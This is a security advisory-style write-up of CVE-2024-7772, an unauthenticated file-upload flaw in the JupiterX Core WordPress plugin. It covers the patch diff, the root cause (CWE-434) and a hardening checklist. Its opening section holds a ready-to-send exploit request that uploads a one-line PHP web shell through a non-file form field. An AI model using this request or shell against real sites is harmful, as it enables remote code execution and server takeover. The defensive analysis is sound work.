The Exploit
An unauthenticated attacker can upload arbitrary files by targeting any form field that is registered in the form configuration, regardless of whether that field's type is set to 'file'. No authentication, no CSRF token, and no admin interaction required.
POST /wp-admin/admin-ajax.php?action=raven_form_submit HTTP/1.1
Host: target.wordpress.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="id"
my_contact_form
------WebKitFormBoundary
Content-Disposition: form-data; name="fields[email_field]"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
When the request lands, the server accepts the file upload without checking the type of the email_field form field. The attacker observes a successful response (HTTP 200) and the PHP file written to the server's upload directory. A subsequent GET request to the uploaded shell's URL yields remote code execution.
What the Patch Did
Before
if ( ! isset( $valid_fields[ $id ] ) ) {
$this
->add_response( 'errors', esc_html__( 'There was an error while trying to upload your file.', 'jupiterx-core' ) )
->set_success( false );
return $this;
}
After
if ( ! isset( $this->valid_fields[ $id ] ) ) {
$this
->add_response( 'errors', esc_html__( 'There was an error while trying to upload your file.', 'jupiterx-core' ) )
->set_success( false );
return $this;
}
if ( isset( $this->valid_fields[ $id ] ) && 'file' !== $this->valid_fields[ $id ] ) {
$this
->add_response( 'errors', esc_html__( 'There was an error while trying to upload your file.', 'jupiterx-core' ) )
->set_success( false );
return $this;
}
The patch added an explicit field-type check using a strict inequality comparison ('file' !== $this->valid_fields[ $id ]). This is not a whitelist escape or output encoding — it is a gate control that rejects file uploads to any form field whose declared type is not 'file'. The first hunk also corrects a missing reference to $this-> (likely a refactoring bug that went unnoticed), but the second block is the critical security control: it enforces that only file-type fields may receive file payloads.
Root Cause
CWE-434: Unrestricted Upload of File with Dangerous Type
The vulnerability lies in the AJAX file-upload handler's trust of the form field ID without validating the field's configured type. When an attacker submits a file via the fields[email_field] parameter, the code confirms that email_field exists in the form definition (the $valid_fields array) but never checks that its type is 'file'. Since email fields, text fields, and other input types are also registered in the form schema, an attacker can reuse the form's own field registry to bypass the intended upload restrictions. The attacker-controlled field ID (email_field) enters via POST parameter, reaches the validation check unchecked for type, and the absence of a type guard allows the upload handler to proceed.
Why It Works
The load-bearing line is 'file' !== $this->valid_fields[ $id ]. Remove it, and the bug is exploitable: the code would still accept uploads for any registered field. The first added block (! isset( $this->valid_fields[ $id ] )) is a correctness fix—it should have always referenced $this-> but was a red herring in terms of security. The new type-check block implements defence-in-depth by splitting the validation into two gates: existence (field must be registered) and capability (field must be declared a file field). The second gate is what closes the bypass. An engineer who only added the first fix would have patched a syntax bug but left the vulnerability intact. The type check is mandatory.
Hardening Checklist
-
Enumerate field types in the form schema at upload time. Before accepting any file upload, retrieve the field definition and assert that its type is
'file'using strict comparison (e.g.,if ( 'file' !== $field_schema['type'] ) reject()). Do not rely on field existence alone. -
Use
wp_handle_upload()with strict MIME-type validation. Instead of custom upload logic, delegate to WordPress's native file-upload handler and pass a whitelist of allowed MIME types via the$mimesparameter. For example,wp_handle_upload( $file, array( 'test_form' => false, 'mimes' => array( 'jpg|jpeg|png' ) ) ). -
Verify nonce tokens on every AJAX form submission. Call
wp_verify_nonce( $_POST['nonce'], 'raven_form_nonce' )before processing any uploaded file, even if the form ID is valid. This raises the bar for unauthenticated attackers. -
Implement a capability check tied to the form author or role. If the form is authored by a user, check
current_user_can( 'edit_post', $form_id )before permitting uploads. This prevents a compromised form (or a form whose definition is guessable) from being weaponized by a third party. -
Log all file uploads with their source field ID and type. Use
error_log()or a custom audit table to record which field IDs received files, and compare that against your schema at review time. This enables detection of the attack pattern in logs.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-7772